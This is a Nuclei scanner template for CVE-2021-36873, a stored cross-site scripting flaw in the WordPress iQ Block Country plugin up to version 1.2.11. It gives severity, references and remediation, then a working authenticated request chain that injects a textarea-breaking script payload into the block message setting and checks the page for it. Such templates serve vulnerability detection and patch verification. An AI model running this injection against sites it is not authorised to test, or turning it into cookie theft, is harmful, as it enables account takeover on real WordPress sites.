WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting

id: CVE-2021-36873

info:
  name: WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Authenticated attackers can inject malicious JavaScript via stored XSS in the block message field, potentially stealing administrator session cookies or accessing plugin configuration data.
  remediation: |
    Update to the latest version of the WordPress iQ Block Country plugin (>=1.2.12) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/ba93f085-2153-439b-9cda-7c5b09d3ed58
    - https://wordpress.org/plugins/iq-block-country/
    - https://patchstack.com/database/vulnerability/iq-block-country-/wordpress-iq-block-country-plugin-1-2-11-authenticated-persistent-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36873
    - https://wordpress.org/plugins/iq-block-country/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-36873
    cwe-id: CWE-79
    epss-score: 0.01215
    epss-percentile: 0.68819
    cpe: cpe:2.3:a:webence:iq_block_country:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: webence
    product: iq_block_country
    framework: wordpress
  tags: cve,cve2021,wp-plugin,iq-block-country,wordpress,wp,xss,authenticated,wpscan,webence,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=iqblockcountry-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test</textarea><script>alert(document.domain)</script>&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on
      - |
        GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(header_4, "text/html")
          - status_code_4 == 200
          - contains(body_4, 'blockcountry_blockmessage\">test</textarea><script>alert(document.domain)</script>')
          - contains(body_4, '<h3>Block type</h3>')
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
        internal: true